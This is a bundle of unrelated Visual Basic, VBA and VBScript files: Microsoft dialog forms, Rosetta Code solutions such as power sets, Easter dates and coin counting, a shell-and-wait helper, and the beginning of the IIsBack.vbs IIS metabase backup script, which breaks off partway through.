'// Synopsis: The new phonebook form.
'//
'// Copyright (c) 1997-1999 Microsoft Corporation
'//
'// Author: quintinb Created Header 09/02/99
'//
'//+----------------------------------------------------------------------------
VERSION 5.00
Begin VB.Form frmNewPB
BorderStyle = 3 'Fixed Dialog
ClientHeight = 2445
ClientLeft = 4890
ClientTop = 2310
ClientWidth = 3390
Icon = "NewPB.frx":0000
KeyPreview = -1 'True
LinkTopic = "Form1"
MaxButton = 0 'False
MinButton = 0 'False
PaletteMode = 1 'UseZOrder
ScaleHeight = 2445
ScaleWidth = 3390
ShowInTaskbar = 0 'False
WhatsThisButton = -1 'True
WhatsThisHelp = -1 'True
Begin VB.TextBox NewPBText
Height = 315
Left = 600
MaxLength = 8
TabIndex = 1
Top = 1530
WhatsThisHelpID = 12010
Width = 2355
End
Begin VB.CommandButton cmbCancel
Cancel = -1 'True
Caption = "cancel"
Height = 375
Left = 1830
TabIndex = 3
Top = 1935
WhatsThisHelpID = 10040
Width = 1185
End
Begin VB.CommandButton cmbOK
Caption = "ok"
Default = -1 'True
Enabled = 0 'False
Height = 360
Left = 480
TabIndex = 2
Top = 1935
WhatsThisHelpID = 10030
Width = 1200
End
Begin VB.Label DescLabel
BackStyle = 0 'Transparent
Caption = "enter a new name..."
Height = 1080
Left = 135
TabIndex = 4
Top = 90
Width = 3060
End
Begin VB.Label NewLabel
BackStyle = 0 'Transparent
Caption = "new pb"
Height = 240
Left = 600
TabIndex = 0
Top = 1275
WhatsThisHelpID = 12010
Width = 2655
End
End
Attribute VB_Name = "frmNewPB"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Option Explicit
Public strPB As String
Private Sub cmbCancel_Click()
'Unload Me
Me.Hide
End Sub
Private Sub cmbOK_Click()
' mainly make sure that they've entered
' a unique pb name and then just do it.
Dim strNewPB As String
Dim strTemp As String
Dim strINFfile As String
Dim varRegKeys As Variant
Dim intX As Integer
Dim rt As Integer
On Error GoTo ErrTrap
strNewPB = Trim(NewPBText.Text)
Screen.MousePointer = 11
rt = CreatePB(strNewPB)
If rt = 0 Then
Me.Hide
strPB = strNewPB
Else
NewPBText.SetFocus
NewPBText.SelStart = 0
NewPBText.SelLength = Len(NewPBText.Text)
End If
Screen.MousePointer = 0
Exit Sub
ErrTrap:
Exit Sub
End Sub
Private Sub Form_KeyPress(KeyAscii As Integer)
CheckChar KeyAscii
End Sub
Private Sub Form_Load()
strPB = ""
CenterForm Me, Screen
LoadNewRes
End Sub
Function LoadNewRes()
On Error GoTo LoadErr
Me.Caption = LoadResString(4067)
DescLabel.Caption = LoadResString(4068)
NewLabel.Caption = LoadResString(4069)
cmbOK.Caption = LoadResString(1002)
cmbCancel.Caption = LoadResString(1003)
' set fonts
SetFonts Me
On Error GoTo 0
Exit Function
LoadErr:
Exit Function
End Function
Private Sub NewPBText_Change()
If Trim$(NewPBText.Text) <> "" Then
cmbOK.Enabled = True
Else
cmbOK.Enabled = False
End If
End Sub
Private Sub NewPBText_KeyPress(KeyAscii As Integer)
KeyAscii = FilterPBKey(KeyAscii, NewPBText)
End Sub
|
Option Base 1
Private Function power_set(ByRef st As Collection) As Collection
Dim subset As Collection, pwset As New Collection
For i = 0 To 2 ^ st.Count - 1
Set subset = New Collection
For j = 1 To st.Count
If i And 2 ^ (j - 1) Then subset.Add st(j)
Next j
pwset.Add subset
Next i
Set power_set = pwset
End Function
Private Function print_set(ByRef st As Collection) As String
'assume st is a collection of collections, holding integer variables
Dim s() As String, t() As String
ReDim s(st.Count)
'Debug.Print "{";
For i = 1 To st.Count
If st(i).Count > 0 Then
ReDim t(st(i).Count)
For j = 1 To st(i).Count
Select Case TypeName(st(i)(j))
Case "Integer": t(j) = CStr(st(i)(j))
Case "Collection": t(j) = "{}" 'assumes empty
End Select
Next j
s(i) = "{" & Join(t, ", ") & "}"
Else
s(i) = "{}"
End If
Next i
print_set = "{" & Join(s, ", ") & "}"
End Function
Public Sub rc()
Dim rcset As New Collection, result As Collection
For i = 1 To 4
rcset.Add i
Next i
Debug.Print print_set(power_set(rcset))
Set rcset = New Collection
Debug.Print print_set(power_set(rcset))
Dim emptyset As New Collection
rcset.Add emptyset
Debug.Print print_set(power_set(rcset))
Debug.Print
End Sub
|
<reponame>LaudateCorpus1/RosettaCodeData<filename>Task/Holidays-related-to-Easter/VBA/holidays-related-to-easter.vba
Public dates As Variant
Private Function easter(year_ As Integer) As Date
'-- from https://en.wikipedia.org/wiki/Computus#Anonymous_Gregorian_algorithm
Dim a As Integer, b As Integer, c As Integer, d As Integer, e As Integer
Dim f As Integer, g As Integer, h As Integer, i As Integer, k As Integer
Dim l As Integer, m As Integer, n As Integer
a = year_ Mod 19
b = year_ \ 100
c = year_ Mod 100
d = b \ 4
e = b Mod 4
f = (b + 8) \ 25
g = (b - f + 1) \ 3
h = (19 * a + b - d - g + 15) Mod 30
i = c \ 4
k = c Mod 4
l = (32 + 2 * e + 2 * i - h - k) Mod 7
m = (a + 11 * h + 22 * l) \ 451
n = h + l - 7 * m + 114
month_ = n \ 31
day_ = n Mod 31 + 1
easter = DateSerial(year_, month_, day_)
End Function
Private Sub show(year_ As Integer)
If year_ = 0 Then
Debug.Print , "Easter", "Ascension", "Pentecost", "Trinity", "Corpus"
Else
Dim e As Date
e = easter(year_)
Debug.Print Format(year_, "@@@@"),
For i = 1 To UBound(dates)
Debug.Print Format(e + dates(i, 2), "ddd dd mmm"),
Next i
Debug.Print
End If
End Sub
Public Sub main()
Dim year_ As Integer
dates = [{"Easter ",0; "Ascension",39; "Pentecost",49; "Trinity ",56; "Corpus ",60}]
show 0
For year_ = 400 To 2000 Step 100
show year_
Next year_
Debug.Print
show 0
For year_ = 2010 To 2020
show year_
Next year_
End Sub
|
VERSION 5.00
Object = "{6B7E6392-850A-101B-AFC0-4210102A8DA7}#1.2#0"; "COMCTL32.OCX"
Object = "{BDC217C8-ED16-11CD-956C-0000C04E4C0A}#1.1#0"; "TABCTL32.OCX"
Begin VB.Form frmXformIDNT
BorderStyle = 0 'None
Caption = "XformID(NT)"
ClientHeight = 5730
ClientLeft = 0
ClientTop = 0
ClientWidth = 9480
LinkTopic = "Form1"
MDIChild = -1 'True
ScaleHeight = 5730
ScaleWidth = 9480
ShowInTaskbar = 0 'False
Visible = 0 'False
Begin TabDlg.SSTab SSTab1
Height = 5055
Left = 0
TabIndex = 3
TabStop = 0 'False
Top = 360
Width = 9405
_ExtentX = 16589
_ExtentY = 8916
_Version = 327681
Tabs = 1
TabsPerRow = 8
TabHeight = 794
ShowFocusRect = 0 'False
TabCaption(0) = " XformID (NT)"
TabPicture(0) = "frmXformIDNT.frx":0000
Tab(0).ControlEnabled= -1 'True
Tab(0).Control(0)= "Combo1"
Tab(0).Control(0).Enabled= 0 'False
Tab(0).ControlCount= 1
Begin VB.ComboBox Combo1
BeginProperty Font
Name = "MS Sans Serif"
Size = 9.75
Charset = 0
Weight = 400
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
Height = 360
ItemData = "frmXformIDNT.frx":001C
Left = 120
List = "frmXformIDNT.frx":0043
Style = 2 'Dropdown List
TabIndex = 1
Top = 600
Width = 9135
End
End
Begin VB.TextBox Text1
Height = 285
Left = 0
TabIndex = 0
Text = "Text1"
Top = 0
Width = 9495
End
Begin ComctlLib.StatusBar StatusBar1
Align = 2 'Align Bottom
Height = 300
Left = 0
TabIndex = 2
Top = 5430
Width = 9480
_ExtentX = 16722
_ExtentY = 529
SimpleText = ""
_Version = 327682
BeginProperty Panels {0713E89E-850A-101B-AFC0-4210102A8DA7}
NumPanels = 3
BeginProperty Panel1 {0713E89F-850A-101B-AFC0-4210102A8DA7}
AutoSize = 1
Object.Width = 13070
Object.Tag = ""
EndProperty
BeginProperty Panel2 {0713E89F-850A-101B-AFC0-4210102A8DA7}
Style = 6
AutoSize = 2
Object.Width = 1773
MinWidth = 1764
TextSave = "5/12/98"
Object.Tag = ""
EndProperty
BeginProperty Panel3 {0713E89F-850A-101B-AFC0-4210102A8DA7}
Style = 5
AutoSize = 2
Object.Width = 1773
MinWidth = 1764
TextSave = "4:48 PM"
Object.Tag = ""
EndProperty
EndProperty
BeginProperty Font {0BE35203-8F91-11CE-9DE3-00AA004BB851}
Name = "MS Sans Serif"
Size = 8.25
Charset = 0
Weight = 700
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
End
End
Attribute VB_Name = "frmXformIDNT"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Dim DecValue As String
Dim FirstBit As String
Dim SecondBit As String
Dim ThirdBit As String
Dim FourthBit As String
Const H As String = "&H"
Const Delim As String = ","
Dim Which As Integer
Private Function UpdateCombo(Num As String)
Select Case Num
Case "00,00"
Combo1.Text = "Null transform, no conversion."
Case "01,00"
Combo1.Text = "4-bit Rockwell ADPCM 7200 Hz format."
Case "02,00"
Combo1.Text = "4-bit IMA ADPCM 4800 Hz format."
Case "03,00"
Combo1.Text = "4-bit IMA ADPCM 7200 Hz format."
Case "04,00"
Combo1.Text = "4-bit IMA ADPCM 8000 Hz format."
Case "07,00"
Combo1.Text = "8-bit unsigned linear PCM at 7200 Hz format."
Case "08,00"
Combo1.Text = "8-bit unsigned linear PCM at 8000 Hz format."
Case "09,00"
Combo1.Text = "4-bit Rockwell ADPCM 7200 Hz format, without fixed gain increase."
Case "0A,00"
Combo1.Text = "8 bit u-law (G.711) at 8000 Hz."
Case "0B,00"
Combo1.Text = "8 bit A-law (G.711) at 8000 Hz."
Case Else
Combo1.Text = "Unrecognized."
End Select
End Function
Public Sub EditCopy()
Text1.SelStart = 0
Text1.SelLength = Len(Text1.Text)
Text1.SetFocus
Clipboard.Clear
Clipboard.SetText Text1.Text
End Sub
Public Sub EditPaste()
GetWord (Clipboard.GetText)
PasteValue = FirstBit & Delim & SecondBit
PasteValue = UCase(PasteValue)
DecValue = PasteValue
UpdateCombo (PasteValue)
Update
Dim strFirst As String
strFirst = Len("HKR,WaveDriver,XformID, 1, ")
Text1.SelStart = strFirst
Text1.SelLength = Len(DecValue)
Text1.SetFocus
End Sub
Private Sub Combo1_Click()
Dim CombValue As String
CombValue = Combo1.Text
Select Case CombValue
Case "Null transform, no conversion."
DecValue = "0"
Case "4-bit Rockwell ADPCM 7200 Hz format."
DecValue = "1"
Case "4-bit IMA ADPCM 4800 Hz format."
DecValue = "2"
Case "4-bit IMA ADPCM 7200 Hz format."
DecValue = "3"
Case "4-bit IMA ADPCM 8000 Hz format."
DecValue = "4"
Case "8-bit unsigned linear PCM at 7200 Hz format."
DecValue = "7"
Case "8-bit unsigned linear PCM at 8000 Hz format."
DecValue = "8"
Case "4-bit Rockwell ADPCM 7200 Hz format, without fixed gain increase."
DecValue = "9"
Case "8 bit u-law (G.711) at 8000 Hz."
DecValue = "10"
Case "8 bit A-law (G.711) at 8000 Hz."
DecValue = "11"
End Select
HexCon (DecValue)
DecValue = Left(HexNum, 5)
Update
Dim strFirst As String
strFirst = Len("HKR,WaveDriver,XformID, 1, ")
Text1.SelStart = strFirst
Text1.SelLength = Len(DecValue)
If frmXformIDNT.Visible = False Then
frmXformIDNT.Visible = True
End If
Text1.SetFocus
End Sub
Private Sub Update()
Text1.Text = "HKR,WaveDriver,XformID, 1, " & DecValue
End Sub
Private Sub Form_Load()
Text1.Text = "HKR,WaveDriver,XformID, 1, 00,00"
StatusBar1.Panels(1).Text = "Command in the modem device INF file only. Specifies the serial wave format used."
ClearControl
End Sub
Public Sub ClearControl()
Text1.Text = "HKR,WaveDriver,XformID, 1, 00,00"
DecValue = "0"
Combo1.Text = "Null transform, no conversion."
Dim strFirst As String
strFirst = Len("HKR,WaveDriver,XformID, 1, ")
Text1.SelStart = strFirst
Text1.SelLength = Len(DecValue)
If frmXformIDNT.Visible = False Then
frmXformIDNT.Visible = True
End If
Text1.SetFocus
End Sub
Private Sub Form_Resize()
Text1.Width = frmXformIDNT.Width
Combo1.Width = frmXformIDNT.Width - 370
SSTab1.Width = frmXformIDNT.Width - 75
SSTab1.Height = frmXformIDNT.Height - 675
End Sub
Public Sub GetWord(strString As String)
Dim strSubString As String
Dim lStart As Long
Dim lStop As Long
Dim One As String
lStart = 1
lStop = Len(strString)
While lStart < lStop And "," <> Mid$(strString, lStart, 1) ' Loop until first , found
lStart = lStart + 1
Wend
lStop = lStart
While "," <> Mid$(strString, lStop + 1, 1) And lStop <= Len(strString) ' Loop until second , found
lStop = lStop + 1
Wend
strSubString = Mid$(strString, lStop + 2)
lStart = 1
lStop = Len(strSubString)
While lStart < lStop And "," <> Mid$(strSubString, lStart, 1) ' Loop until third , found
lStart = lStart + 1
Wend
lStop = lStart
While "," <> Mid$(strSubString, lStop + 1, 1) And lStop <= Len(strSubString) ' Loop until fourth , found
lStop = lStop + 1
Wend
strSubString = Mid$(strSubString, lStop + 1)
lStart = 1
lStop = Len(strSubString)
While lStart < lStop And "," <> Mid$(strSubString, lStart, 1) ' Loop until first , found
lStart = lStart + 1
Wend
lStop = lStart
While "," <> Mid$(strSubString, lStop + 1, 1) And lStop <= Len(strSubString) ' Loop until last , found
lStop = lStop + 1
Wend
FirstBit = Mid$(strSubString, lStart + 1, lStop - 1) ' Grab word found between ,'s
strSubString = Mid$(strSubString, lStop + 1)
Clean (FirstBit)
FirstBit = CleanNum
lStart = 1
lStop = Len(strSubString)
While lStart < lStop And "," <> Mid$(strSubString, lStart, 1) ' Loop until first , found
lStart = lStart + 1
Wend
lStop = lStart
While "," <> Mid$(strSubString, lStop + 1, 1) And lStop <= Len(strSubString) ' Loop until last , found
lStop = lStop + 1
Wend
SecondBit = Mid$(strSubString, lStart + 1, lStop - 1) ' Grab word found between ,'s
strSubString = Mid$(strSubString, lStop + 1)
Clean (SecondBit)
SecondBit = CleanNum
End Sub
Private Sub Text1_KeyPress(KeyAscii As Integer)
If KeyAscii = 13 Then
Clipboard.Clear
Clipboard.SetText Text1.Text
EditPaste
End If
End Sub
Private Sub Text1_Click()
Dim Start As Integer
Start = Text1.SelStart
If 25 < Start And Start < 33 Then
If Which = 1 Then Exit Sub
Text1.SelStart = 27
Text1.SelLength = 6
Text1.SetFocus
Which = 1
Else
Which = 0
End If
'MsgBox Start
End Sub
|
<gh_stars>1-10
Private Function F(ByVal n As Integer) As Integer
If n = 0 Then
F = 1
Else
F = n - M(F(n - 1))
End If
End Function
Private Function M(ByVal n As Integer) As Integer
If n = 0 Then
M = 0
Else
M = n - F(M(n - 1))
End If
End Function
Public Sub MR()
Dim i As Integer
For i = 0 To 20
Debug.Print F(i);
Next i
Debug.Print
For i = 0 To 20
Debug.Print M(i);
Next i
End Sub
|
Attribute VB_Name = "mdlShellAndWait"
Option Explicit
Private Declare Function OpenProcess Lib "kernel32" _
(ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, _
ByVal dwProcessId As Long) As Long
Private Declare Function GetExitCodeProcess Lib "kernel32" _
(ByVal hProcess As Long, lpExitCode As Long) As Long
Private Const STATUS_PENDING = &H103&
Private Const PROCESS_QUERY_INFORMATION = &H400
'
' Little function go get exit code given processId
'
Function ProcessIsRunning( processId as Long ) as Boolean
Dim exitCode as Long
Call GetExitCodeProcess(lProcessId, exitCode)
ProcessIsRunning = (exitCode = STATUS_PENDING)
End Function
' Spawn subprocess and wait for it to complete.
' I believe that the command in the command line must be an exe or a bat file.
' Maybe, however, it can reference any file the system knows how to "Open"
'
' commandLine is an executable.
' expectedDuration - is for poping up a dialog for whatever
' infoText - text for progressDialog dialog
Public Function ShellAndWait( commandLine As String, _
expectedDuration As Integer ) As Boolean
Dim inst As Long
Dim startTime As Long
Dim expirationTime As Long
Dim pid As Long
Dim expiresSameDay As Boolean
On Error GoTo HandleError
'Deal with timeout being reset at Midnight ($hitForBrains VB folks)
startTime = CLng(Timer)
expirationTime = startTime + expectedDuration
expiresSameDay = expirationTime < 86400
If Not expiresSameDay Then
expirationTime = expirationTime - 86400
End If
inst = Shell(commandLine, vbMinimizedNoFocus)
If inst <> 0 Then
pid = OpenProcess(PROCESS_QUERY_INFORMATION, False, inst)
Do While ProcessIsRunning( pid)
DoEvents
If Timer > expirationTime And (expiresSameDay Or Timer < startTime) Then
Exit Do
End If
Loop
ShellAndWait = True
Else
MsgBox ("Couldn't execute command: " & commandLine)
ShellAndWait = False
End If
Exit Function
HandleError:
MsgBox ("Couldn't execute command: " & commandLine)
ShellAndWait = False
End Function
Sub SpawnDir()
ShellAndWait("dir", 10)
End Sub
|
wscript.echo multiply(17,34)
|
<filename>Task/Count-the-coins/VBA/count-the-coins.vba
Private Function coin_count(coins As Variant, amount As Long) As Variant 'return type will be Decimal
'sequence s = Repeat(0, amount + 1)
Dim s As Variant
ReDim s(amount + 1)
Dim c As Integer
s(1) = CDec(1)
For c = 1 To UBound(coins)
For n = coins(c) To amount
s(n + 1) = CDec(s(n + 1) + s(n - coins(c) + 1))
Next n
Next c
coin_count = s(amount + 1)
End Function
Public Sub main2()
Dim us_commons_coins As Variant
'The next line creates a base 1 array
us_common_coins = [{25, 10, 5, 1}]
Debug.Print coin_count(us_common_coins, 100)
Dim us_coins As Variant
us_coins = [{100,50,25, 10, 5, 1}]
Debug.Print coin_count(us_coins, 100000)
End Sub
|
'
' Copyright (c) Microsoft Corporation. All rights reserved.
'
' VBScript Source File
'
' Script Name: IIsBack.vbs
'
Option Explicit
On Error Resume Next
' Error codes
Const ERR_OK = 0
Const ERR_GENERAL_FAILURE = 1
'''''''''''''''''''''
' Messages
Const L_SwitchNeedArg_ErrorMessage = "Switch needs argument."
Const L_Created_Text = "Backup %1 version %2 has been CREATED."
Const L_Restored_Text = "Backup %1 version %2 has been RESTORED."
Const L_Deleted_Text = "Backup %1 version %2 has been DELETED."
Const L_BackupName_Text = "Backup Name"
Const L_BackupVersion_Text = "Version #"
Const L_DateTime_Text = "Date/Time"
Const L_Error_ErrorMessage = "Error &H%1: %2"
Const L_OperationRequired_ErrorMessage = "Please specify an operation before the arguments."
Const L_MinInfoNeeded_ErrorMessage = "Need at least <BackupName>."
Const L_NeedNameVersion_ErrorMessage = "Need at least <BackupName> and <BackupVersion>."
Const L_NotEnoughParams_ErrorMessage = "Not enough parameters."
Const L_OnlyOneOper_ErrorMessage = "Please specify only one operation at a time."
Const L_ComputerObj_ErrorMessage = "Unable to get computer object."
Const L_Backup_ErrorMessage = "Unable to backup metabase."
Const L_Restore_ErrorMessage = "Unable to restore metabase."
Const L_Delete_ErrorMessage = "Unable to delete metabase backup."
Const L_List_ErrorMessage = "Unable to list metabase backups."
Const L_NoBackups_Message = "No backups exist."
Const L_ScriptHelper_ErrorMessage = "Could not create an instance of the"
Const L_ScriptHelperp2_ErrorMessage = "IIsScriptHelper object."
Const L_ChkScpHelperReg_ErrorMessage = "Please register the Microsoft.IIsScriptHelper"
Const L_ChkScpHelperRegp2_ErrorMessage = "component."
Const L_CmdLib_ErrorMessage = "Could not create an instance of the CmdLib object."
Const L_ChkCmdLibReg_ErrorMessage = "Please register the Microsoft.CmdLib component."
Const L_PassWithoutUser_ErrorMessage = "Please specify /u switch before using /p."
Const L_WMIConnect_ErrorMessage = "Could not connect to WMI provider."
Const L_BackupNotFound_ErrorMessage = "Backup doesn't exist."
Const L_VersionTooBig_ErrorMessage = "Version number is too big."
Const L_LastVersionTooBig_ErrorMessage = "A backup already exists with this name and the"
Const L_LastVersionTooBigp2_ErrorMessage="maximum allowed version number."
Const L_InvalidVersion_ErrorMessage = "Invalid version number."
Const L_InvalidBackupName_ErrorMessage = "Invalid backup name."
Const L_IncorrectPassword_ErrorMessage = "The password specified is incorrect."
Const L_BackupExists_ErrorMessage = "Backup already exists. Please specify another name"
Const L_BackupExistsp2_ErrorMessage = "or use /overwrite."
Const L_InvalidSwitch_ErrorMessage = "Invalid switch: %1"
Const L_Admin_ErrorMessage = "You cannot run this command because you are not an"
Const L_Adminp2_ErrorMessage = "administrator on the server you are trying to configure."
'''''''''''''''''''''
' Help
' General help messages
Const L_SeeHelp_Message = "Type IIsBack /? for help."
Const L_SeeBackupHelp_Message = "Type IIsBack /backup /? for help."
Const L_SeeRestoreHelp_Message = "Type IIsBack /restore /? for help."
Const L_SeeDeleteHelp_Message = "Type IIsBack /delete /? for help."
Const L_SeeListHelp_Message = "Type IIsBack /list /? for help."
Const L_Help_HELP_General01_Text = "Description: backup/restore IIS configuration, delete backups,"
Const L_Help_HELP_General01p2_Text = " list all backups"
Const L_Help_HELP_General02_Text = "Syntax: IIsBack [/s <server> [/u <username>"
Const L_Help_HELP_General03_Text = " [/p <password>]]] /<operation> [arguments]"
Const L_Help_HELP_General04_Text = "Parameters:"
Const L_Help_HELP_General06_Text = "Value Description"
Const L_Help_HELP_General07_Text = "/s <server> Connect to machine <server>"
Const L_Help_HELP_General07p2_Text = " [Default: this system]"
Const L_Help_HELP_General08_Text = "/u <username> Connect as <domain>\<username> or"
Const L_Help_HELP_General09_Text = " <username> [Default: current user]"
Const L_Help_HELP_General10_Text = "/p <password> Password for the <username> user"
Const L_Help_HELP_General11_Text = "<operation> /backup Backup the IIS Server"
Const L_Help_HELP_General12_Text = " (includes all site data"
Const L_Help_HELP_General12p2_Text = " and settings)."
Const L_Help_HELP_General13_Text = " /restore Restore the IIS Server"
Const L_Help_HELP_General14_Text = " from backup (overwrites"
Const L_Help_HELP_General14p2_Text = " all site data and settings)."
Const L_Help_HELP_General15_Text = " /delete Deletes a backup."
Const L_Help_HELP_General16_Text = " /list List all backups."
Const L_Help_HELP_General17_Text = "For detailed usage:"
Const L_Help_HELP_General18_Text = "IIsBack /backup /?"
Const L_Help_HELP_General19_Text = "IIsBack /restore /?"
Const L_Help_HELP_General20_Text = "IIsBack /delete /?"
Const L_Help_HELP_General21_Text = "IIsBack /list /?"
' Common to all status change commands
Const L_Help_HELP_Common17_Text = "/b <BackupName> Description for the backup file."
Const L_Help_HELP_Common17p1_Text = " [Default: ""SampleBackup""]"
Const L_Help_HELP_Common11_Text = "Examples:"
' Backup help messages
Const L_Help_HELP_Backup01_Text = "Description: Backup the IIS Server (includes all site data"
Const L_Help_HELP_Backup01p2_Text = " and settings)."
Const L_Help_HELP_Backup02_Text = "Syntax: IIsBack [/s <server> [/u <username> [/p <password>]]]"
Const L_Help_HELP_Backup02p1_Text = " /backup [/b <BackupName>] [/v <VersionNumber>]"
Const L_Help_HELP_Backup02p2_Text = " [/e <BackupPassword>] [/overwrite]"
Const L_Help_HELP_Backup18_Text = "/v <VersionNumber> Specifies the version number to be"
Const L_Help_HELP_Backup18p1_Text = " assigned to the backup. Can be any"
Const L_Help_HELP_Backup18p2_Text = " integer, HIGHEST_VERSION, or"
Const L_Help_HELP_Backup18p3_Text = " NEXT_VERSION. [Default: NEXT_VERSION]"
Const L_Help_HELP_Backup19_Text = "/e <BackupPassword> Encrypt the backup file with the"
Const L_Help_HELP_Backup19p2_Text = " provided password"
Const L_Help_HELP_Backup20_Text = "/overwrite Back up even if a backup of the same"
Const L_Help_HELP_Backup20p1_Text = " name and version exists in the"
Const L_Help_HELP_Backup20p2_Text = " specified location, overwriting if"
Const L_Help_HELP_Backup20p3_Text = " necessary. [Default: disabled]"
Const L_Help_HELP_Backup21_Text = "IIsBack /backup"
Const L_Help_HELP_Backup22_Text = "IIsBack /s Server1 /u Administrator /p p@ssW0rd /backup /b NewBackup"
' Restore help messages
Const L_Help_HELP_Restore01_Text = "Description: Restore the IIS Server from backup (overwrites"
Const L_Help_HELP_Restore01p1_Text = " all site data and settings)."
Const L_Help_HELP_Restore02_Text = "Syntax: IIsBack [/s <server> [/u <username> [/p <password>]]]"
Const L_Help_HELP_Restore02p1_Text = " /restore /b <RestoreName> [/v <VersionNumber>]"
Const L_Help_HELP_Restore02p2_Text = " [/e <BackupPassword>]"
Const L_Help_HELP_Restore18_Text = "/v <VersionNumber> Specifies the version number of the"
Const L_Help_HELP_Restore18p1_Text = " backup. Can be any integer or"
Const L_Help_HELP_Restore18p2_Text = " HIGHEST_VERSION."
Const L_Help_HELP_Restore19_Text = "/e <BackupPassword> If the backup was encrypted using a"
Const L_Help_HELP_Restore19p1_Text = " user specified password, you must"
Const L_Help_HELP_Restore19p2_Text = " supply the correct password to"
Const L_Help_HELP_Restore19p3_Text = " restore the backup."
Const L_Help_HELP_Restore21_Text = "IIsBack /restore /b MyBackup /v HIGHEST_VERSION"
Const L_Help_HELP_Restore22_Text = "IIsBack /s Server1 /u Administrator /p p@ssW0rd /restore /b MyBackup /v 2"
' Delete help messages
Const L_Help_HELP_Delete01_Text = "Description: Delete an existing backup file."
Const L_Help_HELP_Delete02_Text = "Syntax: IIsBack [/s <server> [/u <username> [/p <password>]]]"
Const L_Help_HELP_Delete02p1_Text = " /delete /b <BackupName> /v <VersionNumber>"
Const L_Help_HELP_Delete18_Text = "/v <VersionNumber> Specifies the version number to"
Const L_Help_HELP_Delete18p1_Text = " delete. Can be integer or"
Const L_Help_HELP_Delete18p2_Text = " HIGHEST_VERSION."
Const L_Help_HELP_Delete19_Text = "IIsBack /delete /b MyBackup /v HIGHEST_VERSION"
Const L_Help_HELP_Delete20_Text = "IIsBack /s Server1 /u Administrator /p p@ssWOrd /delete /b MyBackup /v 2"
' List help messages
Const L_Help_HELP_List01_Text = "Description: List all backup files."
Const L_Help_HELP_List02_Text = "Syntax: IIsBack [/s <server> [/u <username> [/p <password>]]]"
Const L_Help_HELP_List02p2_Text = " /list"
Const L_Help_HELP_List18_Text = "IIsBack /list"
Const L_Help_HELP_List19_Text = "IIsBack /s Server1 /u Administrator /p p@ssW0rd /list"
''''''''''''''''''''''''
' Operation codes
Const OPER_BACKUP = 1
Const OPER_RESTORE = 2
Const OPER_DELETE = 3
Const OPER_LIST = 4
' Backup/Restore contants
Const BACKUP_DEFAULT_NAME = "SampleBackup"
Const MD_BACKUP_HIGHEST_VERSION = &HFFFFFFFE ' Backup, Restore, Delete
Const MD_BACKUP_NEXT_VERSION = &HFFFFFFFF ' Backup
Const MD_BACKUP_OVERWRITE = 1 ' Backup
Const MD_BACKUP_SAVE_FIRST = 2 ' Backup
Const MD_BACKUP_MAX_VERSION = 9999 ' Limit
Const MD_BACKUP_MAX_LEN = 100 ' Limit
Const MD_BACKUP_NO_MORE_BACKUPS = &H80070103 ' EnumBackups
Const INVALID_VERSION = -3
'
' Main block
'
Dim oScriptHelper, oCmdLib
Dim strServer, strUser, strPassword
Dim strName, strBackPassword
Dim intOperation, intResult, intVersion
Dim aArgs, arg
Dim bOverwrite
Dim strCmdLineOptions
Dim oError
' Default values
strServer = "."
strUser = ""
strPassword = ""
intOperation = 0
strName = BACKUP_DEFAULT_NAME
strBackPassword = ""
bOverwrite = False
' Instantiate the CmdLib for output string formatting
Set oCmdLib = CreateObject("Microsoft.CmdLib")
If Err.Number <> 0 Then
WScript.Echo L_CmdLib_ErrorMessage
WScript.Echo L_ChkCmdLibReg_ErrorMessage
WScript.Quit(ERR_GENERAL_FAILURE)
End If
Set oCmdLib.ScriptingHost = WScript.Application
' Instantiate script helper object
Set oScriptHelper = CreateObject("Microsoft.IIsScriptHelper")
If Err.Number <> 0 Then
WScript.Echo L_ScriptHelper_ErrorMessage
WScript.Echo L_ScriptHelperp2_ErrorMessage
WScript.Echo L_ChkScpHelperReg_ErrorMessage
WScript.Echo L_ChkScpHelperRegp2_ErrorMessage
WScript.Quit(ERR_GENERAL_FAILURE)
End If
Set oScriptHelper.ScriptHost = WScript
' Check if we are being run with cscript.exe instead of wscript.exe
oScriptHelper.CheckScriptEngine
' Minimum number of parameters must exist
If WScript.Arguments.Count < 1 Then
WScript.Echo L_NotEnoughParams_ErrorMessage
WScript.Echo L_SeeHelp_Message
WScript.Quit(ERR_GENERAL_FAILURE)
End If
strCmdLineOptions = "[server:s:1;user:u:1;password:p:1];[backup::0;overwrite::0];restore::0;" & _
"delete::0;list::0;backupname:b:1;version:v:1;bkpasswd:e:1"
Set oError = oScriptHelper.ParseCmdLineOptions(strCmdLineOptions)
If Not oError Is Nothing Then
If oError.ErrorCode = oScriptHelper.ERROR_NOT_ENOUGH_ARGS Then
' Not enough arguments for a specified switch
WScript.Echo L_NotEnoughParams_ErrorMessage
WScript.Echo L_SeeHelp_Message
Else
' Invalid switch
oCmdLib.vbPrintf L_InvalidSwitch_ErrorMessage, Array(oError.SwitchName)
WScript.Echo L_SeeHelp_Message
End If
WScript.Quit(ERR_GENERAL_FAILURE)
End If
If oScriptHelper.GlobalHelpRequested Then
DisplayHelpMessage
WScript.Quit(ERR_OK)
End If
For Each arg In oScriptHelper.Switches
Select Case arg
Case "server"
' Server information
strServer = oScriptHelper.GetSwitch(arg)
Case "user"
' User information
strUser = oScriptHelper.GetSwitch(arg)
Case "password"
' Password information
strPassword = oScriptHelper.GetSwitch(arg)
Case "backup"
If (intOperation <> 0) Then
WScript.Echo L_OnlyOneOper_ErrorMessage
WScript.Echo L_SeeHelp_Message
WScript.Quit(ERR_GENERAL_FAILURE)
End If
intOperation = OPER_BACKUP
If oScriptHelper.IsHelpRequested(arg) Then
DisplayBackupHelpMessage
WScript.Quit(ERR_OK)
End If
If oScriptHelper.Switches.Exists("backupname") Then
strName = oScriptHelper.GetSwitch("backupname")
If strName = "" Then
Err.Raise &H5
End If
Else
strName = BACKUP_DEFAULT_NAME
End If
If oScriptHelper.Switches.Exists("version") Then
intVersion = oScriptHelper.GetSwitch("version")
Else
intVersion = "NEXT_VERSION"
End If
strBackPassword = CStr(oScriptHelper.GetSwitch("bkpasswd"))
If oScriptHelper.Switches.Exists("overwrite") Then
bOverwrite = True
End If
Case "restore"
If (intOperation <> 0) Then
